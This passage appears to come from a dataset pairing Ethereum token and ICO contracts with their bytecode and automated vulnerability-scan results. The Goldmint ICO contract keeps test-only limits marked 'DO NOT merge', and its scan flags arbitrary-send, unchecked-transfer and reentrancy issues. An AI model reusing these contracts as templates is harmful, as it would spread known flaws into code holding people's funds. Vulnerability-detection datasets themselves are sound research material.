* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: zeppelin-solidity/contracts/token/CappedToken.sol
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
// File: zeppelin-solidity/contracts/token/DetailedERC20.sol
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
// File: contracts/YondToken.sol
/**
* Use OpenZeppelin Libraries
*/
contract YondToken is DetailedERC20, StandardToken, BurnableToken, CappedToken {
/**
* @dev Set the maximum issuance cap and token details.
*/
function YondToken()
DetailedERC20('YOND', 'YOND', 18)
CappedToken( 50 * (10**9) * (10**18) )
public {
}
} | 0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461010057806306fdde0314610129578063095ea7b3146101b357806318160ddd146101d757806323b872dd146101fe578063313ce56714610228578063355274ea1461025357806340c10f191461026857806342966c681461028c57806366188463146102a657806370a08231146102ca5780637d64bcb4146102eb5780638da5cb5b1461030057806395d89b4114610331578063a9059cbb14610346578063d73dd6231461036a578063dd62ed3e1461038e578063f2fde38b146103b5575b600080fd5b34801561010c57600080fd5b506101156103d6565b604080519115158252519081900360200190f35b34801561013557600080fd5b5061013e6103e6565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610178578181015183820152602001610160565b50505050905090810190601f1680156101a55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101bf57600080fd5b50610115600160a060020a0360043516602435610473565b3480156101e357600080fd5b506101ec6104dd565b60408051918252519081900360200190f35b34801561020a57600080fd5b50610115600160a060020a03600435811690602435166044356104e3565b34801561023457600080fd5b5061023d610665565b6040805160ff9092168252519081900360200190f35b34801561025f57600080fd5b506101ec61066e565b34801561027457600080fd5b50610115600160a060020a0360043516602435610674565b34801561029857600080fd5b506102a46004356106db565b005b3480156102b257600080fd5b50610115600160a060020a0360043516602435610798565b3480156102d657600080fd5b506101ec600160a060020a0360043516610891565b3480156102f757600080fd5b506101156108ac565b34801561030c57600080fd5b50610315610934565b60408051600160a060020a039092168252519081900360200190f35b34801561033d57600080fd5b5061013e610943565b34801561035257600080fd5b50610115600160a060020a036004351660243561099b565b34801561037657600080fd5b50610115600160a060020a0360043516602435610a96565b34801561039a57600080fd5b506101ec600160a060020a0360043581169060243516610b38565b3480156103c157600080fd5b506102a4600160a060020a0360043516610b63565b60065460a060020a900460ff1681565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561046b5780601f106104405761010080835404028352916020019161046b565b820191906000526020600020905b81548152906001019060200180831161044e57829003601f168201915b505050505081565b600160a060020a03338116600081815260056020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60005481565b6000600160a060020a03831615156104fa57600080fd5b600160a060020a03841660009081526004602052604090205482111561051f57600080fd5b600160a060020a038085166000908152600560209081526040808320339094168352929052205482111561055257600080fd5b600160a060020a03841660009081526004602052604090205461057b908363ffffffff610bfc16565b600160a060020a0380861660009081526004602052604080822093909355908516815220546105b0908363ffffffff610c0e16565b600160a060020a038085166000908152600460209081526040808320949094558783168252600581528382203390931682529190915220546105f8908363ffffffff610bfc16565b600160a060020a038086166000818152600560209081526040808320338616845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60035460ff1681565b60075481565b60065460009033600160a060020a0390811691161461069257600080fd5b60065460a060020a900460ff16156106a957600080fd5b6007546000546106bf908463ffffffff610c0e16565b11156106ca57600080fd5b6106d48383610c1d565b9392505050565b600160a060020a03331660009081526004602052604081205482111561070057600080fd5b5033600160a060020a0381166000908152600460205260409020546107259083610bfc565b600160a060020a03821660009081526004602052604081209190915554610752908363ffffffff610bfc16565b600055604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b600160a060020a033381166000908152600560209081526040808320938616835292905290812054808311156107f557600160a060020a03338116600090815260056020908152604080832093881683529290529081205561082c565b610805818463ffffffff610bfc16565b600160a060020a033381166000908152600560209081526040808320938916835292905220555b600160a060020a0333811660008181526005602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060019392505050565b600160a060020a031660009081526004602052604090205490565b60065460009033600160a060020a039081169116146108ca57600080fd5b60065460a060020a900460ff16156108e157600080fd5b6006805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600654600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f8101849004840282018401909252818152929183018282801561046b5780601f106104405761010080835404028352916020019161046b565b6000600160a060020a03831615156109b257600080fd5b600160a060020a0333166000908152600460205260409020548211156109d757600080fd5b600160a060020a033316600090815260046020526040902054610a00908363ffffffff610bfc16565b600160a060020a033381166000908152600460205260408082209390935590851681522054610a35908363ffffffff610c0e16565b600160a060020a038085166000818152600460209081526040918290209490945580518681529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600192915050565b600160a060020a033381166000908152600560209081526040808320938616835292905290812054610ace908363ffffffff610c0e16565b600160a060020a0333811660008181526005602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b60065433600160a060020a03908116911614610b7e57600080fd5b600160a060020a0381161515610b9357600080fd5b600654604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610c0857fe5b50900390565b6000828201838110156106d457fe5b60065460009033600160a060020a03908116911614610c3b57600080fd5b60065460a060020a900460ff1615610c5257600080fd5b600054610c65908363ffffffff610c0e16565b6000908155600160a060020a038416815260046020526040902054610c90908363ffffffff610c0e16565b600160a060020a038416600081815260046020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001929150505600a165627a7a72305820ba82be104e2bbfe02b7a85280fa43c38402fe736a036a7f1da110cef3982302f0029 | {"success": true, "error": null, "results": {}} | 9,825 |
0x3d017363fba596f739a23686adaa91d65aac2d4b | pragma solidity ^0.4.16;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
// Standard token interface (ERC 20)
// https://github.com/ethereum/EIPs/issues/20
contract Token is SafeMath {
// Functions:
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
function transfer(address _to, uint256 _value) returns(bool) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value)returns(bool){}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
// Events:
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StdToken is Token {
// Fields:
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint public totalSupply = 0;
// Functions:
function transfer(address _to, uint256 _value) returns(bool){
require(balances[msg.sender] >= _value);
require(balances[_to] + _value > balances[_to]);
balances[msg.sender] = safeSub(balances[msg.sender],_value);
balances[_to] = safeAdd(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool){
require(balances[_from] >= _value);
require(allowed[_from][msg.sender] >= _value);
require(balances[_to] + _value > balances[_to]);
balances[_to] = safeAdd(balances[_to],_value);
balances[_from] = safeSub(balances[_from],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
modifier onlyPayloadSize(uint _size) {
require(msg.data.length >= _size + 4);
_;
}
}
contract MNTP is StdToken {
/// Fields:
string public constant name = "Goldmint MNT Prelaunch Token";
string public constant symbol = "MNTP";
uint public constant decimals = 18;
address public creator = 0x0;
address public icoContractAddress = 0x0;
bool public lockTransfers = false;
// 10 mln
uint public constant TOTAL_TOKEN_SUPPLY = 10000000 * (1 ether / 1 wei);
/// Modifiers:
modifier onlyCreator() {
require(msg.sender == creator);
_;
}
modifier byCreatorOrIcoContract() {
require((msg.sender == creator) || (msg.sender == icoContractAddress));
_;
}
function setCreator(address _creator) onlyCreator {
creator = _creator;
}
/// Setters/Getters
function setIcoContractAddress(address _icoContractAddress) onlyCreator {
icoContractAddress = _icoContractAddress;
}
/// Functions:
/// @dev Constructor
function MNTP() {
creator = msg.sender;
// 10 mln tokens total
assert(TOTAL_TOKEN_SUPPLY == (10000000 * (1 ether / 1 wei)));
}
/// @dev Override
function transfer(address _to, uint256 _value) public returns(bool){
require(!lockTransfers);
return super.transfer(_to,_value);
}
/// @dev Override
function transferFrom(address _from, address _to, uint256 _value) public returns(bool){
require(!lockTransfers);
return super.transferFrom(_from,_to,_value);
}
function issueTokens(address _who, uint _tokens) byCreatorOrIcoContract {
require((totalSupply + _tokens) <= TOTAL_TOKEN_SUPPLY);
balances[_who] = safeAdd(balances[_who],_tokens);
totalSupply = safeAdd(totalSupply,_tokens);
}
function burnTokens(address _who, uint _tokens) byCreatorOrIcoContract {
balances[_who] = safeSub(balances[_who], _tokens);
totalSupply = safeSub(totalSupply, _tokens);
}
function lockTransfer(bool _lock) byCreatorOrIcoContract {
lockTransfers = _lock;
}
// Do not allow to send money directly to this contract
function() {
revert();
}
}
// This contract will hold all tokens that were unsold during ICO
// (Goldmint should be able to withdraw them and sold only 1 year post-ICO)
contract GoldmintUnsold is SafeMath {
address public creator;
address public teamAccountAddress;
address public icoContractAddress;
uint64 public icoIsFinishedDate;
MNTP public mntToken;
function GoldmintUnsold(address _teamAccountAddress,address _mntTokenAddress){
creator = msg.sender;
teamAccountAddress = _teamAccountAddress;
mntToken = MNTP(_mntTokenAddress);
}
modifier onlyCreator() {
require(msg.sender==creator);
_;
}
modifier onlyIcoContract() {
require(msg.sender==icoContractAddress);
_;
}
/// Setters/Getters
function setIcoContractAddress(address _icoContractAddress) onlyCreator {
icoContractAddress = _icoContractAddress;
}
// only by Goldmint contract
function finishIco() public onlyIcoContract {
icoIsFinishedDate = uint64(now);
}
// can be called by anyone...
function withdrawTokens() public {
// wait for 1 year!
uint64 oneYearPassed = icoIsFinishedDate + 365 days;
require(uint(now) >= oneYearPassed);
// transfer all tokens from this contract to the teamAccountAddress
uint total = mntToken.balanceOf(this);
mntToken.transfer(teamAccountAddress,total);
}
// Default fallback function
function() payable {
revert();
}
}
contract FoundersVesting is SafeMath {
address public teamAccountAddress;
uint64 public lastWithdrawTime;
uint public withdrawsCount = 0;
uint public amountToSend = 0;
MNTP public mntToken;
function FoundersVesting(address _teamAccountAddress,address _mntTokenAddress){
teamAccountAddress = _teamAccountAddress;
lastWithdrawTime = uint64(now);
mntToken = MNTP(_mntTokenAddress);
}
// can be called by anyone...
function withdrawTokens() public {
// 1 - wait for next month!
uint64 oneMonth = lastWithdrawTime + 30 days;
require(uint(now) >= oneMonth);
// 2 - calculate amount (only first time)
if(withdrawsCount==0){
amountToSend = mntToken.balanceOf(this) / 10;
}
require(amountToSend!=0);
// 3 - send 1/10th
uint currentBalance = mntToken.balanceOf(this);
if(currentBalance<amountToSend){
amountToSend = currentBalance;
}
mntToken.transfer(teamAccountAddress,amountToSend);
// 4 - update counter
withdrawsCount++;
lastWithdrawTime = uint64(now);
}
// Default fallback function
function() payable {
require(false);
}
}
contract Goldmint is SafeMath {
address public creator = 0x0;
address public tokenManager = 0x0;
address public multisigAddress = 0x0;
address public otherCurrenciesChecker = 0x0;
uint64 public icoStartedTime = 0;
MNTP public mntToken;
GoldmintUnsold public unsoldContract;
struct TokenBuyer {
uint weiSent;
uint tokensGot;
}
mapping(address => TokenBuyer) buyers;
// These can be changed before ICO start ($7USD/MNTP)
uint constant STD_PRICE_USD_PER_1000_TOKENS = 7000;
// coinmarketcap.com 14.08.2017
uint constant ETH_PRICE_IN_USD = 300;
// price changes from block to block
//uint public constant SINGLE_BLOCK_LEN = 700000;
// TODO: only for tests. DO NOT merge this to master!!!
uint public constant SINGLE_BLOCK_LEN = 100;
///////
// 1 000 000 tokens
uint public constant BONUS_REWARD = 1000000 * (1 ether/ 1 wei);
// 2 000 000 tokens
uint public constant FOUNDERS_REWARD = 2000000 * (1 ether / 1 wei);
// 7 000 000 we sell only this amount of tokens during the ICO
//uint public constant ICO_TOKEN_SUPPLY_LIMIT = 7000000 * (1 ether / 1 wei);
// TODO: only for tests. DO NOT merge this to master!!!
// 150 - we sell only this amount of tokens during the ICO
uint public constant ICO_TOKEN_SUPPLY_LIMIT = 150 * (1 ether / 1 wei);
// 150 000 tokens soft cap
uint public constant ICO_TOKEN_SOFT_CAP = 150000 * (1 ether / 1 wei);
// this is total number of tokens sold during ICO
uint public icoTokensSold = 0;
// this is total number of tokens sent to GoldmintUnsold contract after ICO is finished
uint public icoTokensUnsold = 0;
// this is total number of tokens that were issued by a scripts
uint public issuedExternallyTokens = 0;
bool public foundersRewardsMinted = false;
bool public restTokensMoved = false;
// this is where FOUNDERS_REWARD will be allocated
address public foundersRewardsAccount = 0x0;
enum State{
Init,
ICORunning,
ICOPaused,
ICOFinished,
Refunding
}
State public currentState = State.Init;
/// Modifiers:
modifier onlyCreator() {
require(msg.sender==creator);
_;
}
modifier onlyTokenManager() {
require(msg.sender==tokenManager);
_;
}
modifier onlyOtherCurrenciesChecker() {
require(msg.sender==otherCurrenciesChecker);
_;
}
modifier onlyInState(State state){
require(state==currentState);
_;
}
/// Events:
event LogStateSwitch(State newState);
event LogBuy(address indexed owner, uint value);
event LogBurn(address indexed owner, uint value);
/// Functions:
/// @dev Constructor
function Goldmint(
address _multisigAddress,
address _tokenManager,
address _otherCurrenciesChecker,
address _mntTokenAddress,
address _unsoldContractAddress,
address _foundersVestingAddress)
{
creator = msg.sender;
multisigAddress = _multisigAddress;
tokenManager = _tokenManager;
otherCurrenciesChecker = _otherCurrenciesChecker;
mntToken = MNTP(_mntTokenAddress);
unsoldContract = GoldmintUnsold(_unsoldContractAddress);
// slight rename
foundersRewardsAccount = _foundersVestingAddress;
}
/// @dev This function is automatically called when ICO is started
/// WARNING: can be called multiple times!
function startICO() internal onlyCreator {
mintFoundersRewards(foundersRewardsAccount);
mntToken.lockTransfer(true);
if(icoStartedTime==0){
icoStartedTime = uint64(now);
}
}
function pauseICO() internal onlyCreator {
}
function startRefunding() internal onlyCreator {
// only switch to this state if less than ICO_TOKEN_SOFT_CAP sold
require(icoTokensSold<ICO_TOKEN_SOFT_CAP);
// in this state tokens still shouldn't be transferred
assert(mntToken.lockTransfers());
}
/// @dev This function is automatically called when ICO is finished
/// WARNING: can be called multiple times!
function finishICO() internal {
mntToken.lockTransfer(false);
if(!restTokensMoved){
restTokensMoved = true;
// move all unsold tokens to unsoldTokens contract
icoTokensUnsold = safeSub(ICO_TOKEN_SUPPLY_LIMIT,icoTokensSold);
if(icoTokensUnsold>0){
mntToken.issueTokens(unsoldContract,icoTokensUnsold);
unsoldContract.finishIco();
}
}
// send all ETH to multisig
if(this.balance>0){
multisigAddress.transfer(this.balance);
}
}
function mintFoundersRewards(address _whereToMint) internal onlyCreator {
if(!foundersRewardsMinted){
foundersRewardsMinted = true;
mntToken.issueTokens(_whereToMint,FOUNDERS_REWARD);
}
}
/// Access methods:
function setTokenManager(address _new) public onlyTokenManager {
tokenManager = _new;
}
function setOtherCurrenciesChecker(address _new) public onlyCreator {
otherCurrenciesChecker = _new;
}
function getTokensIcoSold() constant public returns (uint){
return icoTokensSold;
}
function getTotalIcoTokens() constant public returns (uint){
return ICO_TOKEN_SUPPLY_LIMIT;
}
function getMntTokenBalance(address _of) constant public returns (uint){
return mntToken.balanceOf(_of);
}
function getCurrentPrice()constant public returns (uint){
return getMntTokensPerEth(icoTokensSold);
}
function getBlockLength()constant public returns (uint){
return SINGLE_BLOCK_LEN;
}
////
function isIcoFinished() public returns(bool){
if(icoStartedTime==0){return false;}
// 1 - if time elapsed
uint64 oneMonth = icoStartedTime + 30 days;
if(uint(now) > oneMonth){return true;}
// 2 - if all tokens are sold
if(icoTokensSold>=ICO_TOKEN_SUPPLY_LIMIT){
return true;
}
return false;
}
function setState(State _nextState) public {
// only creator can change state
// but in case ICOFinished -> anyone can do that after all time is elapsed
bool icoShouldBeFinished = isIcoFinished();
bool allow = (msg.sender==creator) || (icoShouldBeFinished && (State.ICOFinished==_nextState));
require(allow);
bool canSwitchState
= (currentState == State.Init && _nextState == State.ICORunning)
|| (currentState == State.ICORunning && _nextState == State.ICOPaused)
|| (currentState == State.ICOPaused && _nextState == State.ICORunning)
|| (currentState == State.ICORunning && _nextState == State.ICOFinished)
|| (currentState == State.ICORunning && _nextState == State.Refunding);
require(canSwitchState);
currentState = _nextState;
LogStateSwitch(_nextState);
if(currentState==State.ICORunning){
startICO();
}else if(currentState==State.ICOFinished){
finishICO();
}else if(currentState==State.ICOPaused){
pauseICO();
}else if(currentState==State.Refunding){
startRefunding();
}
}
function getMntTokensPerEth(uint tokensSold) public constant returns (uint){
// 10 buckets
uint priceIndex = (tokensSold / (1 ether/ 1 wei)) / SINGLE_BLOCK_LEN;
assert(priceIndex>=0 && (priceIndex<=9));
uint8[10] memory discountPercents = [20,15,10,8,6,4,2,0,0,0];
// We have to multiply by '1 ether' to avoid float truncations
// Example: ($7000 * 100) / 120 = $5833.33333
uint pricePer1000tokensUsd =
((STD_PRICE_USD_PER_1000_TOKENS * 100) * (1 ether / 1 wei)) / (100 + discountPercents[priceIndex]);
// Correct: 300000 / 5833.33333333 = 51.42857142
// We have to multiply by '1 ether' to avoid float truncations
uint mntPerEth = (ETH_PRICE_IN_USD * 1000 * (1 ether / 1 wei) * (1 ether / 1 wei)) / pricePer1000tokensUsd;
return mntPerEth;
}
function buyTokens(address _buyer) public payable onlyInState(State.ICORunning) {
require(msg.value!=0);
// The price is selected based on current sold tokens.
// Price can 'overlap'. For example:
// 1. if currently we sold 699950 tokens (the price is 10% discount)
// 2. buyer buys 1000 tokens
// 3. the price of all 1000 tokens would be with 10% discount!!!
uint newTokens = (msg.value * getMntTokensPerEth(icoTokensSold)) / (1 ether / 1 wei);
issueTokensInternal(_buyer,newTokens);
// update 'buyers' map
// (only when buying from ETH)
TokenBuyer memory b = buyers[msg.sender];
b.weiSent = safeAdd(b.weiSent, msg.value);
b.tokensGot = safeAdd(b.tokensGot, newTokens);
buyers[msg.sender] = b;
}
/// @dev This is called by other currency processors to issue new tokens
function issueTokensFromOtherCurrency(address _to, uint _wei_count) onlyInState(State.ICORunning) public onlyOtherCurrenciesChecker {
require(_wei_count!=0);
uint newTokens = (_wei_count * getMntTokensPerEth(icoTokensSold)) / (1 ether / 1 wei);
issueTokensInternal(_to,newTokens);
}
/// @dev This can be called to manually issue new tokens
/// from the bonus reward
function issueTokensExternal(address _to, uint _tokens) public onlyInState(State.ICOFinished) onlyTokenManager {
// can not issue more than BONUS_REWARD
require((issuedExternallyTokens + _tokens)<=BONUS_REWARD);
mntToken.issueTokens(_to,_tokens);
issuedExternallyTokens = issuedExternallyTokens + _tokens;
}
function issueTokensInternal(address _to, uint _tokens) internal {
require((icoTokensSold + _tokens)<=ICO_TOKEN_SUPPLY_LIMIT);
mntToken.issueTokens(_to,_tokens);
icoTokensSold+=_tokens;
LogBuy(_to,_tokens);
}
function burnTokens(address _from, uint _tokens) public onlyInState(State.ICOFinished) onlyTokenManager {
mntToken.burnTokens(_from,_tokens);
LogBurn(_from,_tokens);
}
// anyone can call this and get his money back
function getMyRefund() public onlyInState(State.Refunding) {
address sender = msg.sender;
require(0!=buyers[sender].weiSent);
require(0!=buyers[sender].tokensGot);
// 1 - send money back
sender.transfer(buyers[sender].weiSent);
// 2 - burn tokens
mntToken.burnTokens(sender,buyers[sender].tokensGot);
}
// Default fallback function
function() payable {
// buyTokens -> issueTokensInternal
buyTokens(msg.sender);
}
} | 0x60606040523615610076576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806342c62865146100875780637f0554ca146100b05780638d8f2adb14610105578063ab2315111461011a578063ae27758414610157578063e2f35f1714610180575b5b6000151561008457600080fd5b5b005b341561009257600080fd5b61009a6101d5565b6040518082815260200191505060405180910390f35b34156100bb57600080fd5b6100c36101db565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561011057600080fd5b610118610201565b005b341561012557600080fd5b61012d61058b565b604051808267ffffffffffffffff1667ffffffffffffffff16815260200191505060405180910390f35b341561016257600080fd5b61016a6105a5565b6040518082815260200191505060405180910390f35b341561018b57600080fd5b6101936105ab565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60015481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008062278d00600060149054906101000a900467ffffffffffffffff160191508167ffffffffffffffff16421015151561023b57600080fd5b6000600154141561033957600a600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561030d57600080fd5b6102c65a03f1151561031e57600080fd5b5050506040518051905081151561033157fe5b046002819055505b60006002541415151561034b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561041057600080fd5b6102c65a03f1151561042157600080fd5b50505060405180519050905060025481101561043f57806002819055505b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff166002546000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561052f57600080fd5b6102c65a03f1151561054057600080fd5b505050604051805190505060016000815480929190600101919050555042600060146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5050565b600060149054906101000a900467ffffffffffffffff1681565b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a7230582004d728780689ca0aa4892b2120cc86ef19b97ca5fbb303daa547108db2b2f0500029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 9,826 |
0x4aecfb80a9ff45735ceb1b12b60514a6468c3e23 | /**
*Submitted for verification at Etherscan.io on 2021-10-22
*/
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
